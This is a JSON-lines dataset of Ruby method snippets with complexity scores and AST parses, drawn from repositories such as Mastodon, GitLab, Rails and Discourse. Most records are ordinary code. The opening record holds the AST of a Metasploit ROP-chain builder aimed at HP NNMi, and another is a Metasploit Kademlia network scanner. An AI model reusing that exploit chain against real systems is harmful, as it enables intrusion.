end","complexity_score":22.35,"ast_json":"{\"type\":\"def\",\"children\":[\"rop_hp_nnmi_9_10\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ov_base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rop\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[775]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[134797249]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ov_base\"]},\"+\",{\"type\":\"int\",\"children\":[295336]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[134833472]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[134797250]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[134833472]},\"+\",{\"type\":\"int\",\"children\":[4732]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ov_base\"]},\"+\",{\"type\":\"int\",\"children\":[120466]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvar\",\"children\":[\"rop\"]}]}]}","id":"f9daadf2-6a52-4454-b38f-45a9a3591d82"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/add_accounts_to_list_service.rb","start_line":16,"raw_source":"def update_list!\n    ApplicationRecord.transaction do\n      @accounts.each do |account|\n        @list.accounts << account\n      end\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_list!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@accounts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@list\"]},\"accounts\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"account\"]}]}]}]}]}","id":"c1f6b046-3005-4c00-bca9-734d21247a30"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/app/orphaned_group_members_check.rb","start_line":10,"raw_source":"def check?\n        !GroupMember.where('user_id not in (select id from users)').exists?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupMember\"]},\"where\",{\"type\":\"str\",\"children\":[\"user_id not in (select id from users)\"]}]},\"exists?\"]},\"!\"]}]}","id":"5241d3d8-b63d-4636-a689-9173300ab4ff"}
{"repo_name":"hanami","file_path":"./repos/hanami/spec/integration/logging/request_logging_spec.rb","start_line":150,"raw_source":"def before_prepare\n      with_directory(root) do\n        write \"config/routes.rb\", <<~RUBY\n          module TestApp\n            class Routes < Hanami::Routes\n              root to: ->(env) { [200, {}, [\"OK\"]] }\n            end\n          end\n        RUBY\n      end\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"before_prepare\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_directory\",{\"type\":\"send\",\"children\":[null,\"root\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"module TestApp\\n\"]},{\"type\":\"str\",\"children\":[\"  class Routes < Hanami::Routes\\n\"]},{\"type\":\"str\",\"children\":[\"    root to: ->(env) { [200, {}, [\\\"OK\\\"]] }\\n\"]},{\"type\":\"str\",\"children\":[\"  end\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]}]}]}","id":"19030039-d77c-4526-89ed-fe344d079bbd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/kademlia/server_info.rb","start_line":58,"raw_source":"def scanner_process(response, src_host, src_port)\n    return if response.blank?\n\n    peer = \"#{src_host}:#{src_port}\"\n\n    case action.name\n    when 'BOOTSTRAP'\n      if bootstrap_res = BootstrapResponse.from_data(response)\n        info = {\n          peer_id: bootstrap_res.peer_id,\n          tcp_port: bootstrap_res.tcp_port,\n          version: bootstrap_res.version,\n          peers: bootstrap_res.peers\n        }\n        print_good(\"#{peer} ID #{bootstrap_res.peer_id}, TCP port #{bootstrap_res.tcp_port},\" +\n                   \" version #{bootstrap_res.version}, #{bootstrap_res.peers.size} peers\")\n      end\n    when 'PING'\n      if pong = Pong.from_data(response)\n        print_good(\"#{peer} PONG port #{pong.port}\")\n        # port should match the port we contacted it from.  TODO: validate this?\n        info = { udp_port: pong.port }\n      end\n    end\n\n    return unless info\n\n    @results[src_host] ||= []\n    @results[src_host] << info\n  end","complexity_score":43.8,"ast_json":"{\"type\":\"def\",\"children\":[\"scanner_process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]},{\"type\":\"arg\",\"children\":[\"src_host\"]},{\"type\":\"arg\",\"children\":[\"src_port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src_host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src_port\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"BOOTSTRAP\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bootstrap_res\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BootstrapResponse\"]},\"from_data\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"peer_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bootstrap_res\"]},\"peer_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tcp_port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bootstrap_res\"]},\"tcp_port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bootstrap_res\"]},\"version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"peers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bootstrap_res\"]},\"peers\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]},{\"type\":\"str\",\"children\":[\" ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bootstrap_res\"]},\"peer_id\"]}]},{\"type\":\"str\",\"children\":[\", TCP port \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bootstrap_res\"]},\"tcp_port\"]}]},{\"type\":\"str\",\"children\":[\",\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bootstrap_res\"]},\"version\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bootstrap_res\"]},\"peers\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" peers\"]}]}]}]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PING\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pong\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pong\"]},\"from_data\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]},{\"type\":\"str\",\"children\":[\" PONG port \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pong\"]},\"port\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"udp_port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pong\"]},\"port\"]}]}]}]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"src_host\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"src_host\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}]}","id":"eaf1df38-dda7-4a14-9dc0-f6db6cf75405"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file.rb","start_line":224,"raw_source":"def prev_line(index)\n        diff_lines[index - 1] if index > 0\n      end","complexity_score":6.08,"ast_json":"{\"type\":\"def\",\"children\":[\"prev_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_lines\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},null]}]}","id":"bdb3874b-45a4-489b-a405-7f484761bd30"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/range_test.rb","start_line":260,"raw_source":"def test_create_tstzrange\n    tstzrange = Time.parse(\"2010-01-01 14:30:00 +0100\")...Time.parse(\"2011-02-02 14:30:00 CDT\")\n    round_trip(@new_range, :tstz_range, tstzrange)\n    assert_equal @new_range.tstz_range, tstzrange\n    assert_equal @new_range.tstz_range, Time.parse(\"2010-01-01 13:30:00 UTC\")...Time.parse(\"2011-02-02 19:30:00 UTC\")\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_tstzrange\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tstzrange\",{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2010-01-01 14:30:00 +0100\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2011-02-02 14:30:00 CDT\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"round_trip\",{\"type\":\"ivar\",\"children\":[\"@new_range\"]},{\"type\":\"sym\",\"children\":[\"tstz_range\"]},{\"type\":\"lvar\",\"children\":[\"tstzrange\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_range\"]},\"tstz_range\"]},{\"type\":\"lvar\",\"children\":[\"tstzrange\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_range\"]},\"tstz_range\"]},{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2010-01-01 13:30:00 UTC\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2011-02-02 19:30:00 UTC\"]}]}]}]}]}]}","id":"0d7a8522-8cb7-4e92-b527-66325476db49"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/jsitor_tag.rb","start_line":28,"raw_source":"def validate_link(link)\n    return link if REGISTRY_REGEXP.match link\n    return \"https://jsitor.com/embed/#{link}\" if ID_REGEXP.match link\n\n    jsitor_error\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REGISTRY_REGEXP\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"link\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ID_REGEXP\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"link\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://jsitor.com/embed/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"jsitor_error\"]}]}]}","id":"943654ba-2c7d-4fbd-8eb1-75997f0a98c4"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/google_translate/detect_language_service.rb","start_line":36,"raw_source":"def client\n    @client ||= ::Google::Cloud::Translate::V3::TranslationService::Client.new do |config|\n      config.credentials = hook.settings['credentials']\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@client\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Google\"]},\"Cloud\"]},\"Translate\"]},\"V3\"]},\"TranslationService\"]},\"Client\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"credentials=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook\"]},\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"credentials\"]}]}]}]}]}]}","id":"969e1fe3-34ef-46f8-8ac0-7bce59dea72e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/concerns/reference_utils.rb","start_line":10,"raw_source":"def args_to_hash(args)\n        args.each_with_index.to_h { |arg, index| [:\"arg#{index + 1}\", arg] }\n      end","complexity_score":4.63,"ast_json":"{\"type\":\"def\",\"children\":[\"args_to_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"each_with_index\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"arg\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]}","id":"83230c1d-2717-430f-9465-ba73e4f0f793"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/packages/maven/metadata/create_versions_xml_service_spec.rb","start_line":230,"raw_source":"def release_from(xml_content)\n    doc = Nokogiri::XML(xml_content)\n    doc.xpath('//metadata/versioning/release').first&.content\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"release_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"lvar\",\"children\":[\"xml_content\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//metadata/versioning/release\"]}]},\"first\"]},\"content\"]}]}]}","id":"2699e70d-9ffa-4731-bc89-bc90e26a45ec"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/rescuable.rb","start_line":20,"raw_source":"def handle_exceptions # :nodoc:\n      yield\n    rescue => exception\n      rescue_with_handler(exception) || raise\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_exceptions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"exception\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rescue_with_handler\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}","id":"6243a492-fa06-46bf-a97f-62de32bf7e87"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/status/fasp_concern.rb","start_line":34,"raw_source":"def announce_deleted_content_to_subscribed_fasp\n    return unless Mastodon::Feature.fasp_enabled?\n    return unless account_indexable? && public_visibility?\n\n    Fasp::AnnounceContentLifecycleEventWorker.perform_async(uri, 'delete')\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"announce_deleted_content_to_subscribed_fasp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"Feature\"]},\"fasp_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_indexable?\"]},{\"type\":\"send\",\"children\":[null,\"public_visibility?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fasp\"]},\"AnnounceContentLifecycleEventWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"uri\"]},{\"type\":\"str\",\"children\":[\"delete\"]}]}]}]}","id":"df4da125-f155-4175-b9f2-bfa2e58c562d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/forwarder.rb","start_line":68,"raw_source":"def in_reply_to_local?\n    @status.thread&.account&.local?\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"in_reply_to_local?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"thread\"]},\"account\"]},\"local?\"]}]}","id":"f513c32e-7654-414b-8a8f-62253550ee62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/ipynbdiff/lib/ipynb_diff/transformer.rb","start_line":20,"raw_source":"def initialize(include_frontmatter: true, hide_images: false)\n      @include_frontmatter = include_frontmatter\n      @hide_images = hide_images\n      @out_transformer = OutputTransformer.new(hide_images)\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"include_frontmatter\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"hide_images\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@include_frontmatter\",{\"type\":\"lvar\",\"children\":[\"include_frontmatter\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@hide_images\",{\"type\":\"lvar\",\"children\":[\"hide_images\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@out_transformer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OutputTransformer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"hide_images\"]}]}]}]}]}","id":"80238fe2-0505-472a-8e47-b1394da570d4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":1326,"raw_source":"def v_owning_blue_folder\n    o = owning_blue_folder\n    o ? o.name : \"\"\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"v_owning_blue_folder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"o\",{\"type\":\"send\",\"children\":[null,\"owning_blue_folder\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"name\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"f9ba8e3f-7e11-437a-8686-363aa89dc234"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/rollout_instances.rb","start_line":8,"raw_source":"def initialize(deployments, pods)\n        @deployments = deployments\n        @pods = pods\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"deployments\"]},{\"type\":\"arg\",\"children\":[\"pods\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@deployments\",{\"type\":\"lvar\",\"children\":[\"deployments\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pods\",{\"type\":\"lvar\",\"children\":[\"pods\"]}]}]}]}","id":"40df4d32-36cc-46d7-b12c-e890ff3904bc"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140905055251_rename_trust_level_badges.rb","start_line":10,"raw_source":"def up\n    rename 2, \"Regular User\", \"Member\"\n    rename 3, \"Leader\", \"Regular\"\n    rename 4, \"Elder\", \"Leader\"\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rename\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"str\",\"children\":[\"Regular User\"]},{\"type\":\"str\",\"children\":[\"Member\"]}]},{\"type\":\"send\",\"children\":[null,\"rename\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"str\",\"children\":[\"Leader\"]},{\"type\":\"str\",\"children\":[\"Regular\"]}]},{\"type\":\"send\",\"children\":[null,\"rename\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"str\",\"children\":[\"Elder\"]},{\"type\":\"str\",\"children\":[\"Leader\"]}]}]}]}","id":"dfc7d8e4-fda8-4081-9bed-b82ae3da7f42"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/commandline.rb","start_line":8,"raw_source":"def initialize exit_code, message\n    super message\n\n    @exit_code = exit_code\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exit_code\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@exit_code\",{\"type\":\"lvar\",\"children\":[\"exit_code\"]}]}]}]}","id":"7ec74a62-cfc9-4ceb-aa83-dc6c844f272c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/terraform_module/metadata/extract_files_service.rb","start_line":115,"raw_source":"def deep_merge_metadata(parsed_content)\n          return if parsed_content.empty?\n\n          metadata.deep_merge!(parsed_content) do |_, old, new|\n            [old, new].all?(Array) ? old.concat(new) : new\n          end\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"deep_merge_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parsed_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_content\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata\"]},\"deep_merge!\",{\"type\":\"lvar\",\"children\":[\"parsed_content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"old\"]},{\"type\":\"arg\",\"children\":[\"new\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old\"]},{\"type\":\"lvar\",\"children\":[\"new\"]}]},\"all?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"new\"]}]},{\"type\":\"lvar\",\"children\":[\"new\"]}]}]}]}]}","id":"59acec97-df71-4165-a122-36ed7668bdf9"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20190904104533_create_user_security_keys.rb","start_line":21,"raw_source":"def down\n    drop_table(:user_security_keys) if table_exists?(:user_security_keys)\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_exists?\",{\"type\":\"sym\",\"children\":[\"user_security_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"user_security_keys\"]}]},null]}]}","id":"266b0718-7259-43e7-98ca-79e400214001"}
